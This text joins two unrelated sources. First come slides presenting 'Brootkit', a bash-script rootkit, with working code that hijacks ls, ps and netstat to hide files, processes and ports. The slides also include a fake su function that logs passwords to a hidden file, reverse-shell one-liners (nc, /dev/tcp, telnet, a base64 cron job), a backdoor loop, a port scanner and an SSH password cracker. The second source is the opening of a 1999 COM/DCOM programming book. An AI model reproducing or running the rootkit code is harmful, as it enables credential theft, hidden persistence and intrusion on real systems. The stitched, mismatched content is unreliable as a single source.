SHELL Hacking 阿里云 - wzt • When  control  a  unix-like  system,    Than?     [root@localhost fucking_rootkit]#  ls Makefile furootkit.c [root@localhost fucking_rootkit]#  make make   -C  /lib/modules/2.6.32/build  M=/root/lkm/fucking_rootkit modules make:  ***  /lib/modules/2.6.32/build:  No  such  file  or  directory.    Stop. make:  ***  [furootkit]  Error  2 [root@localhost fucking_rootkit]#  gcc bash:  gcc:  command   not  found [root@localhost fucking_rootkit]# [root@localhost fucking_rootkit]#  perl bash:  perl:  command   not  found [root@localhost fucking_rootkit]# [root@localhost fucking_rootkit]#  python bash:  python:  command   not  found [root@localhost fucking_rootkit]# Do  everything  in  SHELL • Unix  kiss  philosophy Ø keep  it  sample  stupid. Ø do  one  thing  do  it  well. • The  goal  of  shell  scripts Ø no  cpu arch  depend Ø no  complier  depend   Ø no  interpreter  depend Ø no  os and  kernel  distribution  depend Ø sh/bash/csh/zsh Ø unix/bsd/solaris/linux Ø hundreds  of  open  source  tools Ø just  a  shell  script? Bash  Rootkit • Histroy of  bash  rootkit ü If  bash  shell  scripts  can  be  designed  for  security  tools  like  chkrootkit or  rkhunter,   ü so  too  can  it  be  implemented  for  a  rootkit. • Brootkit ü Lightweight  rootkit  implemented  using  bash  shell  scripts. ü FEATURES I. more  hidable ability  against  admintrator or  hids. II. su passwd thief. III. hide  file  and  directories. IV. hide  process. V. hide  network  connections. VI. connect  backdoor. VII. multi  thread  port  scanner. VIII. http  download. IX. multi  thread  ssh passwd crack. ü TARGET  OS I. centos II. rhel III. ubuntu IV. debian V. fedora VI. freebsd The  life  of  `ls` ls ->  glibc/opendir()  ->  syscall/sys_getdents()  ->  vfs/vfs_readdir()  ->  ext4/ext4_readdir() preload                                                   hook  sct hjack vfs inline  hook   What  is  the  NEXT?       ls ->  bash  ->  shell  function  ->  builtin ->  hashtable ->  $PATH  ->  command_not_found_handle/exit • Override  shell  function [root@localhost brootkit]#  ls README.md    bashproxy.sh    brbomb.sh        brget.sh          brsh.conf brshrootkit.sh    install.sh    passwd1.lst      sshcrack.sh        ubd.sh bashbd.sh    bashtn.sh          brconfig.sh    brootkit.sh    brshconfig.sh      cronbd.sh              pass.lst passwd2.lst      sshcrack1.exp    uninstall.sh bashnc.sh    br.conf brdaemon.sh    brscan.sh        brshinstall.sh    host.lst passwd.lst sshcrack.exp sshcrack2.exp    user.lst [root@localhost brootkit]#  function  ls() >  { >  echo  "hjacked?" >  } [root@localhost brootkit]#  ls hjacked? [root@localhost brootkit]# but [root@localhost brootkit]#  /bin/ls README.md    bashproxy.sh    brbomb.sh        brget.sh          brsh.conf brshrootkit.sh    install.sh    passwd1.lst      sshcrack.sh        ubd.sh bashbd.sh    bashtn.sh          brconfig.sh    brootkit.sh    brshconfig.sh      cronbd.sh              pass.lst passwd2.lst      sshcrack1.exp    uninstall.sh bashnc.sh    br.conf brdaemon.sh    brscan.sh        brshinstall.sh    host.lst passwd.lst sshcrack.exp sshcrack2.exp    user.lst • [root@localhost brootkit]#  function  /bin/ls() • >  { • >  echo  "hjacked again?" • >  } • [root@localhost brootkit]#  /bin/ls • hjacked again? • [root@localhost brootkit]# • Another  trouble  – ls output  format [root@localhost brootkit]#  ls -l|head -n  4 total  420 -rw-r--r-- 1  root  root 5527  Apr    3  02:27  README.md -rwxr-xr-x   1  root  root 963  Feb  11    2015  bashbd.sh -rwxr-xr-x   1  root  root 60  Feb  12    2015  bashnc.sh [root@localhost brootkit]#  ls -l hjacked? [root@localhost brootkit]# • Need  more  complex  pseudo – useful  common  arguments    (ls –alt) – tty window  size – bash  character  colors hide  file/process • Hide  file/directory fake_file=`/bin/ls $@` old_ifs=$IFS;  IFS=",“ for  hide_file in  ${br_hide_file[@]} do fake_file=`echo  "$fake_file"  |  sed -e  '/'$hide_file'/d'` done IFS=$old_if echo  "$fake_file" l Hide  process function  ps() { old_ifs=$IFS;  IFS="," proc_name=`/bin/ps $@` for  hide_proc in  ${br_hide_proc[@]} do proc_name=`echo  "$proc_name"  |  sed -e  '/'$hide_proc'/d'` done echo  "$proc_name" IFS=$old_ifs } Hide  net • Hide  tcp connections function  netstat() { local  hide_port tmp_port old_ifs .  $BR_ROOTKIT_PATH/brconfig.sh br_load_config $BR_ROOTKIT_PATH/br.conf old_ifs=$IFS;  IFS="," tmp_port=`/bin/netstat $@` for  hide_port in  ${br_hide_port[@]} do tmp_port=`echo  "$tmp_port"   |  sed -e  '/'$hide_port'/d'` done echo  "$tmp_port" IFS=$old_ifs } • Poc vs  Real  world – Mulit consoles - screen/bash*n – Single  user    - ~/.bashrc ~/.bash_profile – All  users            - /home/*      /etc/bashrc /etc/bash_profile – Reboot Anti   [root@localhost brootkit]#   declare  -f /bin/ls () { echo  "hjacked again?" } ls () { echo  "hjacked?" } [root@localhost brootkit]# [root@localhost brootkit]#   set|tail consoletype=pty tmpid=0 /bin/ls () { echo  "hjacked again?" } ls () { echo  "hjacked?" } WTF? So  weak? Is that a fucking rootkit?? Anti    Anti • Shell  builtins • [root@localhost brootkit]#  declare()  { • >  echo  "hijack   declare" • >  } • [root@localhost brootkit]#  declare • hijack  declare • [root@localhost brootkit]# • [root@localhost brootkit]#  builtin declare  -f • /bin/ls () • { • echo  "hjacked again?" • } • ls () • { • echo  "hjacked?" • } • [root@localhost brootkit]#  builtin()  { • >  echo  "fucking  hjacked?" • >  } • [root@localhost brootkit]#  builtin declare  -f • fucking  hjacked? • [root@localhost brootkit]#  command   builtin declare  -f • /bin/ls () • { • echo  "hjacked again?" • } • builtin () • { • echo  "fucking  hjacked?" • } • declare  () • { • echo  "hijack  declare" • } • ls () • { • echo  "hjacked?" • } • [root@localhost brootkit]#  command()  { • >  echo  "hijacked   command" • >  } • [root@localhost brootkit]#  command   builtin declare  -f • hijacked  command • [root@localhost brootkit]# SU  thief • Obtain  passwd? – sshd/pam  backdoor – hydra/ncrack – john  the  ripper • Su  thief [wzt@localhost ~]$  su Password: [root@localhost wzt]#  exit exit [wzt@localhost ~]$  cat  /tmp/... loveshell [wzt@localhost ~]$ function  su() { local  arg_list=(""  "-"   "-l"   "--login" "-c"   "--command"   "--session-command" "-f"   "--fast" "-m"   "--preserve-environment"   "-p" "-s"   "--shell=SHELL") local  flag=0  tmp_arg arg pass if  [  $UID  -eq 0  ];  then /bin/su $1;  unset  su ;  return  $? fi for  arg in  ${arg_list[@]} do [  "$1"  =  "$arg"   ]  &&  flag=1 done [  $#  -eq 0  ]  &&  flag=1 tmp_arg=$1;tmp_arg=${tmp_arg:0:1}; [  "$tmp_arg"   !=  "-"   -a  $flag  -eq 0  ]  &&  flag=1 if  [  $flag  -ne  1  ];then /bin/su $1;  return  $? fi [  !  -f  /tmp/...  ]  &&  `touch  /tmp/...  &&  chmod 777  /tmp/...  >/dev/null  2>&1` echo  -ne  "Password:\r\033[?25l" read  -t  30  -s  pass echo  -ne  "\033[K\033[?25h" /bin/su &&  unset  su &&  echo  $pass  >>  /tmp/... } Backdoor • NC – mkfifo bd;cat bd|/bin/sh|nc localhost  8080  >bd • Bash  socket – /dev/tcp/host/port – /dev/udp/host/port – exec  9<>  /dev/tcp/localhost/8080&&exec  0<&9&&exec  1>&9  2>&1&&/bin/bash  --noprofile –I • Telnet – mkfifo bd;cat bd|/bin/sh -i 2>&1|telnet  localhost  8080  >bd • Base64  encode – */1  *  *  *  *  a=`echo   "ZXhlYyA5PD4gL2Rldi90Y3AvbG9jYWxob3N0LzgwODA7ZXhlYyAwPCY5O2V4ZWMgMT4mOSAyPiYxOy9iaW4vYmFzaCA tLW5vcHJvZmlsZSAtaQ=="|base64  -d`;/bin/bash   -c  "$a";unset a • UDP exec  9<>  /dev/udp/localhost/8080 [  $?  -eq 1  ]  &&  exit echo  "connect  ok"  >&9 while  : do a=`dd bs=200  count=1  <&9  2>/dev/null` if  echo  "$a"|grep "exit";  then  break;  fi echo  `$a`  >&9 done exec  9>&- exec  9<&- [wzt@localhost ~]$  nc -lu 8080 connect  ok id uid=0(root)  gid=0(root)   groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) uname -a Linux  localhost.localdomain 2.6.32  #1  SMP  Wed  May  7  01:24:01  CST   2014  x86_64  x86_64 x86_64 GNU/Linux function  br_set_rootkit_path() { if  [  $UID  -eq 0  -o  $EUID  -eq 0  ];  then BR_ROOTKIT_PATH="/usr/include/..." else BR_ROOTKIT_PATH="/home/$USER/..." fi } function  br_connect_backdoor() { local  target_ip=$br_remote_host local  target_port=$br_remote_port local  sleep_time=$br_sleep_time while  [  1  ] do MAX_ROW_NUM=`stty size|cut -d  "  "  -f  1` MAX_COL_NUM=`stty size|cut -d  "  "  -f  2` { PS1='[\A  j\j  \u@\h:t\l  \w]\$';export  PS1 exec  9<>  /dev/tcp/$target_ip/$target_port [  $?  -ne  0  ]  &&  exit  0  ||  exec  0<&9;exec  1>&9  2>&1 if  type  python   >/dev/null;then export  MAX_ROW_NUM  MAX_COL_NUM python  -c  'import  pty;  pty.spawn("/bin/bash")' else /bin/bash   --rcfile $BR_ROOTKIT_PATH/.bdrc --noprofile -i fi }& wait sleep  $((RANDOM%sleep_time+sleep_time)) done } Port  scanner [root@localhost brootkit]$  ./brscan.sh ./brscan.sh  <-p>  [-n|-t|-o|-h]   <remote_host> option: -p                            ports,  pattern:  port1,port2,port3-port7,portn... -n                            thread  num,  default  is  10 -t                            timeout,  default  is  30s -o                            results  write  into  log  file,  default  is  brscan.log -h                            help  information. exp: ./brscan.sh  -p  21,22,23-25,80,135-139,8080  -t  20  www.cloud-sec.org ./brscan.sh  -p  1-65525  -n  200  -t  20  www.cloud-sec.org [root@localhost brootkit]#  ./brscan.sh  -p  21,22,23-25,80,135-139,8080  -t  5  -n  20  www.wooyun.org host:  www.wooyun.org   |  total  ports:  10  |  thread  num:  10  timeout:  5  |  logfile:  brscan.log thread<0        >                      -- pid <57053>          -->          21 thread<1        >                      -- pid <57054>          -->          22 thread<2        >                      -- pid <57055>          -->          23 thread<3        >                      -- pid <57056>          -->          24 thread<4        >                      -- pid <57057>          -->          80 thread<5        >                      -- pid <57058>          -->          135 thread<6        >                      -- pid <57059>          -->          136 thread<7        >                      -- pid <57060>          -->          137 thread<8        >                      -- pid <57061>          -->          138 thread<9        >                      -- pid <57070>          -->          8080 [>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>]          10/10          6  s www.wooyun.org:   80 Ssh crack [root@localhost brootkit]#  ./sshcrack.sh ./sshcrack.sh  <-h  host>  <-u  user>  <-p  passwd>  [-t  timeout]  [-n  threadnum]  [-o  logfile] option: -h                            host  name  or  host  list  file. -u                            user  name  or  user  list  file. -p                            single  passwd or  passwd list  file. -t                            connect  timeout,  defalut is  5s. -n                            thread  num,  default  is  1. -o                            log  file. -v                            display   help  information. exp: ./sshcrack.sh  -h  192.168.215.148  -u  wzt -p  passwd.lst ./sshcrack.sh  -h  192.168.215.148  -u  wzt -p  passwd.lst -n  10  -t  2 ./sshcrack.sh  -h  192.168.215.148  -u  user.lst -p  passwd.lst -n  10  -t  2 ./sshcrack.sh  -h  host.lst -u  user.lst -p  passwd.lst -n  10  -t  2 [root@localhost brootkit]#  ./sshcrack.sh  -h  192.168.215.148  -u  wzt -p  passwd.lst -n  6 host:  1  |  users:  1  |  passwd:  28  thread:  6  |  timeout:  10  |  logfile:  sshcrack.log Thread[  1]            [email protected]                          ==>          [e                               ]            [failed]                   3 Thread[  2]            [email protected]                          ==>          [a                                        ]            [failed]                   3 Thread[  3]            [email protected]                          ==>          [d                               ]            [failed]                   3 Thread[  4]            [email protected]                          ==>          [giveshell ]            [success]                 6 Thread[  5]            [email protected]                          ==>          [123456                    ]            [failed]                   3 Thread[  6]            [email protected]                          ==>          [fd ]            [failed]                   3 waiting   all  threads  to  finsh...
pdf
Preface %\ :LOOLDP 5XELQ DQG 0DUVKDOO %UDLQ Copyright 1999 by Prentice Hall PTR Prentice-Hall, Inc. A Simon & Schuster Company Upper Saddle River, NJ 07458 Prentice Hall books are widely used by corporations and govern- ment agencies for training, marketing and resale. The publisher offers discounts on this book when ordered in bulk quantities. For more information, contact Corporate Sales Department, Phone: 800-382-3419; fax: 201-236-7141; email: [email protected] Or write Corporate Sales Department, Prentice Hall PTR, One Lake Street, Upper Saddle River, NJ 07458. Product and company names mentioned herein are the trade- marks or registered trademarks of their respective owners. All rights reserved. No part of this book may be reproduced, in any form or by any means, without permission in writing from the publisher. ISBN 0-13-095966-9 This electronic version of the book is provided strictly for use by customers who have purchased the printed version of the book and should not be reproduced or distributed in any way. CONTENTS Preface xiii ONE The Basics of COM 1 Classes and Objects 1 How COM Is Different 3 COM can Run Across Processes 3 COM Methods Can Be Called Across a Network 4 COM Objects Must Be Unique Throughout the World 5 COM is Language Indpendent 5 COM Vocabulary 5 The Interface 7 Interfaces Isolate the Client From the Server 8 Imagine a Component 10 What's in a Name? 10 The Source of All Interfaces - IUnknown 10 A Typical COM Object 11 How to Be Unique - the GUID 12 A COM Server 14 Interactions Between Client and Server 15 Summary 16 TWO Understanding the Simplest COM Client 19 Four Steps to Client Connectivity 20 Initializing the COM Subsystem: 21 Query COM for a Specific Interface 22 Execute a Method on the Interface. 24 Release the Interface 24 Summary 25 vi Contents THREE Understanding a Simple COM Server 27 Where's the Code? 28 Building a DLL-Based (In-Process) COM Server 29 Creating the Server Using the ATL Wizard 30 Adding a COM Object 33 Adding a Method to the Server 36 Running the Client and the Server 40 Summary 41 FOUR Creating your own COM Clients and Servers 43 Server Side 43 Client Side 45 FIVE Understanding ATL-Generated Code 55 The Main C++ Module 56 Object Maps 58 Export File 58 The COM Object - "CBeepObj" 60 Object Inheritance 61 The Class Definition 62 The Method 63 Server Registration 64 Registry Scripts 65 Summary 66 Contents vii SIX Understanding the Client and Server 67 Principles of COM 67 COM is About Interfaces 68 COM is Language-Independent 68 COM is Built Around the Concept of Transparency 69 Interfaces are Contracts Between the Client and Server 69 Software Changes. Interfaces Don't 70 Activation 71 More About Interfaces 73 VTABLES - Virtual Function Tables 75 The Class Factory 77 Singleton Classes 79 Understanding QueryInterface 81 Reference Counting with AddRef and Release 82 Method Calls 85 COM Identifiers: CLSID AND IID 87 CLSCTX -- Server Context 88 Inheritance 88 Summary 89 SEVEN An Introduction to MIDL 91 Origins of the MIDL Compiler 91 Precisely Defining Interfaces with the IDL Language 92 MIDL Generated Headers 94 Automatically Generated Proxy/Stub Modules 94 Automatic Creation of Type Libraries 95 The IDL Language 95 Interfaces and Methods in IDL 97 The Component Class in IDL 100 Type Libraries in IDL 102 MIDL Post-Processing 103 Summary 105 viii Contents EIGHT Defining and Using Interfaces 107 Base Types 108 Attributes 109 Double Parameters 112 Boolean Parameters 113 Working with Strings 113 Arrays 119 Structures and Enumerations 121 Summary 123 NINE OLE Automation and Dual Interfaces 125 IDL Definitions 126 The IDispatch Interface 127 Using Invoke 133 Using Type Libraries for Early Binding 136 Dual Interfaces 137 There is no Proxy/Stub DLL for Dispatch Interfaces 140 Properties 140 Adding Properties with the Class Wizard 142 Methods 144 The ISupportErrorInfo Interface 144 Summary 149 TEN COM Threading Models 151 Synchronization and Marshaling 151 Threading Models 153 Apartment, Free, and Single Threads 155 Contents ix The ATL Wizard and Threading Models 156 Apartment Threads 158 Single Threads 159 Free Threaded Servers 160 Both 161 Marshaling Between Threads 162 Using Apartment Threads 163 Free Threading Model 164 Testing the Different Models 165 Summary 166 ELEVEN The COM Registry 167 The COM Registry Structure 168 Registration of CLSIDs 171 Registration of ProgIDs 172 Registration of AppIDs 174 Self-Registration in ATL Servers 174 The RGS File 175 Automatic Registration of Remote Servers 177 In-Process Servers 178 Using the Registry API 178 Summary 178 TWELVE Callback Interfaces 181 Client and Server Confusion 183 Custom Callback Interfaces 183 A Callback Example 185 Create the Server 185 Add a COM Object to the Server 186 Adding the ICallBack Interface to IDL 187 x Contents Modify the Header 187 Adding the Advise Method to the Server 188 Adding the UnAdvise Method 189 Calling the Client from the Server 189 The Client Application 191 Create the Client Dialog Application 191 Adding the Callback COM Object 192 Linking to the Server Headers 194 COM Maps 194 Implementing the Callback Method 195 Adding the Object Map 195 Connecting to the Server 196 Cleaning Up 199 Adding the OnButton Code 199 A Chronology of Events 201 A Multi-Threaded Server 203 Starting the Worker Thread 205 Marshaling the Interface Between Threads 206 Starting the Worker Thread: Part 2 207 A Simple Worker Thread Class 208 Implementing the Worker Thread 209 All Good Threads Eventually Die 211 Summary 211 THIRTEEN Connection Points 213 Modifying the Callback Server 215 Adding Connection Points to the Client Program 220 Add the Callback Object to the Client 221 Modifying the CpClient Application 221 Registering With the Server’s Connection Point Interface 222 Adding the Now and Later Buttons 226 Using the Connection Point - the Server Side 226 Adding the Later2 Method 228 Summary 228 Contents xi FOURTEEN Distributed COM 229 An Overview of Remote Connections 229 Converting a Client for Remote Access 231 Adding Security 234 Security Concepts 234 Access Permissions 235 Launch Permissions 236 Authentication 237 Impersonation 237 Identity 238 Custom Security 239 CoInitializeSecurity 239 Disconnection 242 Using the Registry for Remote Connections 243 Installing the Server on a Remote Computer 244 FIFTEEN ATL and Compiler Support 245 C++ SDK Programming 245 MFC COM 246 ATL - The Choice for Servers 246 Basic Templates 247 A Simple Template Example 248 Template Classes 250 Native Compiler Directives 253 The #IMPORT Directive 253 Namespace Declarations 254 Smart Interface Pointers 255 Smart Pointer Classes 256 Watch Out for Destructors 257 Smart Pointer Error Handling 258 How the IMPORT Directive Works 260 Raw and Wrapper Methods 260 Summary 261 xii Contents SIXTEEN Other Topics 263 Errors 263 Information Code 265 Facility Code 265 Customer Code Flag and Reserved bits 266 Severity Code 266 Looking Up HRESULTS 266 SCODES 267 Displaying Error Messages 267 Using FormatMessage 268 Aggregation and Containment 269 Building a COM Object with MFC 271 Adding Code for the Nested Classes 273 Accessing the Nested Class 275 APPENDIX COM Error Handling 277 Sources of Information 278 Common Error Messages 279 DCOM Errors 285 Get It Working Locally 285 Be Sure You Can Connect 286 Try Using a TCP/IP Address 287 Use TRACERT 287 Windows 95/98 Systems Will Not Launch Servers 288 Security is Tough 288 Using the OLE/COM Object Viewer 289 Index 291 PREFACE Preface The goal of this book is to make COM and DCOM comprehend- ible to a normal person. If you have tried to learn COM and found its complexity to be totally unbelievable, or if you have ever tried to work with COM code and felt like you needed a Ph.D. in quantum physics just to get by, then you know exactly what this goal means. This book makes COM simple and accessi- ble to the normal developer. To meet the goal, this book does many things in a way that is much different from other books. Here are three of the most important differences: 1. This book is designed to clarify rather than to obfuscate. The basic principles of COM are straightforward, so this book starts at the beginning and presents them in a straight- forward manner. 2. This book uses the simplest possible examples and presents them one concept at a time. Rather than trying to cram 116 concepts into a single 50 page example program, we have purposefully presented just one concept in each chapter. For example, chapter 2 shows you that you can create a complete, working, fully functional COM client with 10 lines of code. And when you look at it, it will actually make sense! 3. This book is not 1,200 pages long. You can actually make your way through this entire book and all of its examples in a handful of days. Once you have done that you will know and understand all of the vocabulary and all of the concepts needed to use COM on a daily basis. xiv Preface Think of this book as the ideal starting point. Once you have read this book, all of the COM articles in the MSDN CD and all of the information on the Web will be understandable to you. You will be able to expand your knowledge rapidly. You will have the perfect mental framework to allow you to make sense of all the details. Each chapter in this book explains an important COM topic in a way that will allow you to understand it. Here is a quick tour of what you will learn: • Chapter 1: This chapter introduces you to the COM vocabulary and concepts that you need in order to get started. • Chapter 2: This chapter presents a simple, working COM client. The example is only about 10 lines long. You will be amazed at how easy it is to connect to a COM server! • Chapter 3: This chapter shows that you can create a com- plete COM server with the ATL wizard and about 6 lines of code. You can then connect client to server. • Chapter 4: The previous two chapters will stun you. They will demonstrate that you can create complete and work- ing COM systems with just 15 or 20 lines of code. And you will actually be able to understand it! This chapter recaps so that you can catch your breath, and shows you some extra error-handling code to make problem diagno- sis easier. • Chapter 5: This chapter delves into the code produced by the ATL wizard so that it makes sense. • Chapter 6: This chapter gives you additional detail on the interactions between client and server so that you have a better understanding of things like singleton classes and method calls. • Chapter 7: This chapter introduces you to MIDL and the IDL language. • Chapter 8: This chapter shows you how to use MIDL to pass all different types of parameters. • Chapter 9: This chapter shows you how to access your COM servers from VB and other languages. Preface xv • Chapter 10: This chapter clarifies the COM threading models. If you have ever wondered about “apartment threads”, this chapter will make threading incredibly easy! • Chapter 11: This chapter uncovers the link between COM and the registry so you can see what is going on. • Chapter 12: This chapter demystifies COM callbacks so you can implement bi-directional communication in your COM applications. • Chapter 13: This chapter explains connection points, a more advanced form of bi-directional communication. • Chapter 14: This chapter shows how to use your COM objects on the network and delves into a number of secu- rity topics that often get in the way. • Chapter 15: This chapter further clarifies ATL, smart point- ers, import libraries and such. • Chapter 16: This chapter offers a collection of information on things like COM error codes and MFC support for COM. • Error Appendix: Possibly the most valuable section of the book, this appendix offers guidelines and strategies for debugging COM applications that don’t work. COM uses a number of interacting components, so bugs can be hard to pin down. This chapter shows you how! Read this book twice. The first time through you can load your brain with the individual concepts and techniques. The second time through you can link it all together into an integrated whole. Once you have done that, you will be startled at how much you understand about COM, and how easy it is to use COM on a daily basis! For additional information, please see our web site at: http://www.iftech.com/dcom It contains an extensive resource center that will further acceler- ate your learning process. xvi Preface O N E 1 The Basics of COM Understanding how COM works can be intimidating at first. One reason for this intimidation is the fact that COM uses its own vocabulary. A second reason is that COM contains a number of new concepts. One of the easiest ways to master the vocabulary and concepts is to compare COM objects to normal C++ objects to identify the similarities and differences. You can also map unfamiliar concepts from COM into the standard C++ model that you already understand. This will give you a comfortable starting point, from which we'll look at COM's fundamental concepts. Once we have done this, the examples presented in the follow- ing sections will be extremely easy to understand. Classes and Objects Imagine that you have created a simple class in C++ called xxx. It has several member functions, named MethodA, MethodB and MethodC. Each member function accepts parameters and returns a result. The class declaration is shown here: 2 Chapter 1 • The Basics of COM class xxx { public: int MethodA(int a); int MethodB(float b); float MethodC(float c); }; The class declaration itself describes the class. When you need to use the class, you must create an instance of the object. Instantiations are the actual objects; classes are just the defini- tions. Each object is created either as a variable (local or global) or it is created dynamically using the new statement. The new statement dynamically creates the variable on the heap and returns a pointer to it. When you call member functions, you do so by dereferencing the pointer. For example: xxx *px; // pointer to xxx class px = new xxx; // create object on heap px->MethodA(1); // call method delete px; // free object It is important for you to understand and recognize that COM follows this same objected oriented model. COM has classes, member functions and instantiations just like C++ objects do. Although you never call new on a COM object, you must still create it in memory. You access COM objects with pointers, and you must de-allocate them when you are finished. When we write COM code, we won't be using new and delete. Although we're going to use C++ as our language, we'll have a whole new syntax. COM is implemented by calls to the COM API, which provides functions that create and destroy COM objects. Here's an example COM program written in pseudo- COM code. ixx *pi // pointer to COM interface CoCreateInstance(,,,,&pi) // create interface pi->MethodA(); // call method pi->Release(); // free interface How COM Is Different 3 Additonal Information and Updates: http://www.iftech.com/dcom In this example, we'll call class ixx an "interface". The vari- able pi is a pointer to the interface. The method CoCreateIn- stance creates an instance of type ixx. This interface pointer is used to make method calls. Release deletes the interface. I've purposely omitted the parameters to CoCreateInstance. I did this so as not to obscure the basic simplicity of the pro- gram. CoCreateInstance takes a number of arguments, all of which need some more detailed coverage. None of that matters at this moment, however. The point to notice is that the basic steps in calling a COM object are identical to the steps taken in C++. The syntax is simply a little different. Now let's take a step back and look at some of the bigger differences between COM and C++. How COM Is Different COM is not C++, and for good reason. COM objects are some- what more complicated then their C++ brethren. Most of this complication is necessary because of network considerations. There are four basic factors dictating the design of COM: • C++ objects always run in the same process space. COM objects can run across processes or across computers. • COM methods can be called across a network. • C++ method names must be unique in a given process space. COM object names must be unique throughout the world. • COM servers may be written in a variety of different lan- guages and on entirely different operating systems, while C++ objects are always written in C++. Let's look at what these differences between COM and C++ mean to you as a programmer. COM can Run Across Processes In COM, you as the programmer are allowed to create objects in other processes, or on any machine on the network. That does not mean that you will always do it (in many cases you won't). 4 Chapter 1 • The Basics of COM However, the possibility means that you can't create a COM object using the normal C++ new statement, and calling its meth- ods with local procedure calls won't suffice. To create a COM object, some executing entity (an EXE or a Service) will have to perform remote memory allocation and object creation. This is a very complex task. By remote, we mean in another process or on another machine. This problem is solved by creating a concept called a COM server. This server will have to maintain tight communication with the client. COM Methods Can Be Called Across a Network If you have access to a machine on the network, and if a COM server for the object you want to use has been installed on that machine, then you can create the COM object on that computer. Of course, you must the proper privileges, and everything has to be set-up correctly on both the server and client computer. But if everything is configured properly and a network connection exists, activating a COM server on one machine from another machine is easy. Since your COM object will not necessarily be on the local machine, you need a good way to "point to" it, even though its memory is somewhere else. Technically, there is no way to do this. In practice, it can be simulated by introducing a whole new level of objects. One of the ways COM does this is with a con- cept called a proxy/stub. We'll discuss proxy/stubs in some detail later. Another important issue is passing data between the COM client and its COM server. When data is passed between pro- cesses, threads, or over a network, it is called "marshaling". Again, the proxy/stub takes care of the marshaling for you. COM can also marshal data for certain types of interface using Type Libraries and the Automation marshaller. The Automation mar- shaller does not need to be specifically built for each COM server - it is a general tool. COM Vocabulary 5 Additonal Information and Updates: http://www.iftech.com/dcom COM Objects Must Be Unique Throughout the World OM objects must be unique throughout the world. This may seem like an exaggeration at first, but consider the Internet to be a worldwide network. Even if you're working on a single com- puter, COM must handle the possibility. Uniqueness is the issue. In C++ all classes are handled unequivocally by the compiler. The compiler can see the class definition for every class used in a program and can match up all references to it to make sure they conform to the class exactly. The compiler can also guaran- tee that there is only one class of a given name. In COM there must be a good way to get a similarly unequivocal match. COM must guarantee that there will only be one object of a given name even though the total number of objects available on a worldwide network is huge. This problem is solved by creating a concept called a GUID. COM is Language Indpendent COM servers may be written with a different language and an entirely different operating system. COM objects have the capa- bility of being remotely accessible. That means they may be in a different thread, process, or even on a different computer. The other computer may even be running under a different operating system. There needs to be a good way to transmit parameters over the network to objects on other machines. This problem is solved by creating a new way to carefully specify the interface between the client and server. There is also a new compiler called MIDL (Microsoft Interface Definition Language). This com- piler makes it possible to generically specify the interface between the server and client. MIDL defines COM objects, inter- faces, methods and parameters. COM Vocabulary One of the problems we're going to have is keeping track of two sets of terminology. You're probably already familiar with C++ 6 Chapter 1 • The Basics of COM and some Object Oriented terminology. This table provides a rough equivalency between COM and conventional terminology. You'll notice the concepts of Interface and marshaling don't translate well into the C++ model. The closest thing to an inter- face in C++ is the export definitions of a DLL. DLL's do many of the same things that COM does when dealing with a tightly cou- pled (in-process) COM server. Marshaling in C++ is almost entirely manual. If you're trying to copy data between processes and computers, you'll have to write the code using some sort of inter-process communication. You have several choices, includ- ing sockets, the clipboard, and mailslots. In COM marshaling is generally handled automatically by MIDL. Concept Conventional (C++/OOP) COM Client A program that requests ser- vices from a server. A program that calls COM methods on a COM object running on a COM server. Server A program that "serves" other programs. A program that makes COM objects available to a COM cli- ent. Interface None. A pointer to a group of func- tions that are called through COM. Class A data type. Defines a group of methods and data that are used together. The definition of an object that implements one or more COM interfaces. Also, "coclass". Object An instance of a class. The instance of a coclass. Marshaling None. Moving data (parameters) between client and server. Table 1.1 A comparison of conventional C++ terminology with COM ter- minology The Interface 7 Additonal Information and Updates: http://www.iftech.com/dcom The Interface Thus far, we've been using the word "interface" pretty loosely. My dictionary (1947 American College Dictionary) defines an interface as follows: "Interface, n. a surface regarded as the common boundary of two bodies or surfaces" That's actually a useful general description. In COM "inter- face" has a very specific meaning and COM interfaces are a com- pletely new concept, not available in C++. The concept of an interface is initially hard to understand for many people because an interface is a ghostlike entity that never has a concrete exist- ence. It's sort of like an abstract class but not exactly. At its simplest, an interface is nothing but a named collec- tion of functions. In C++, a class (using this terminology) is allowed only one interface. The member functions of that inter- face are all the public member functions of the class. In other words, the interface is the publicly visible part of the class. In C++ there is almost no distinction between an interface and a class. Here's an example C++ class: class yyy { public: int DoThis(); private: void Helper1(); int count; int x,y,z; }; When someone tries to use this class, they only have access to the public members. (For the moment we're ignoring pro- tected members and inheritance.) They can't call Helper1, or use any of the private variables. To the consumer of this class, the definition looks like this: class yyy { int DoThis(); }; 8 Chapter 1 • The Basics of COM This public subset of the class is the 'interface' to the outside world. Essentially the interface hides the guts of the class from the consumer. This C++ analogy only goes so far. A COM interface is not a C++ class. COM interfaces and classes have their own special set of rules and conventions. COM allows a coclass (COM class) to have multiple inter- faces, each interface having its own name and its own collection of functions. The reason for this feature is to allow for more complex and functional objects. This is another concept that is alien to C++. (Perhaps multiple interfaces could be envisioned as a union of two class definitions - something that isn't allowed in C++.) Interfaces Isolate the Client From the Server One of the cardinal rules of COM is that you can only access a COM object through an interface. The client program is com- pletely isolated from the server's implementation through inter- faces. This is an extremely important point. Let’s look at a common everyday example to try to understand the point. When you get into a car, you are faced with a variety of user interface. There is one interface that allows you to drive the car. Another allows you to work the headlights. Another controls the radio. And so on... Figure 1–1 COM objects expose their functionality in one or more inter- faces. An interface is a collection of functions. COM Object Interfaces The Interface 9 Additonal Information and Updates: http://www.iftech.com/dcom There are many kinds of cars, but not all of them have radios. Therefore, they do not all implement the radio interface, although they do support the driving interface. In all cars that do have radios the capabilities of the radio are the same. A person driving a car without a radio can still drive, but cannot hear music. In a car that does have a radio, the radio interface is avail- able. COM supports this same sort of model for COM classes. A COM object can support a collection of interfaces, each of which has a name. For COM objects that you create yourself, you will often define and use just a single COM interface. But many exist- ing COM objects support multiple COM interfaces depending on the features they support. Another important distinction is that the driving interface is not the car. The driving interface doesn't tell you anything about the brakes, or the wheels, or the engine of the car. You don't drive the engine for example, you use the faster and slower methods (accelerator and brakes) of the driving interface. You don't really care how the slower (brake) method is implemented, as long as the car slows down. Whether the car has hydraulic or air brakes isn't important. The interface isolates you from the implemenation details. Driving Radio Left() On() Right() Off() Slower() Louder() Faster() Softer() Forward() NextStation() Reverse() PrevStation() Table 1.2 Typical interfaces that a driver finds inside a car. If the car does not have a radio, then the radio interface is not available but the driver can still drive. 10 Chapter 1 • The Basics of COM Imagine a Component When you're building a COM 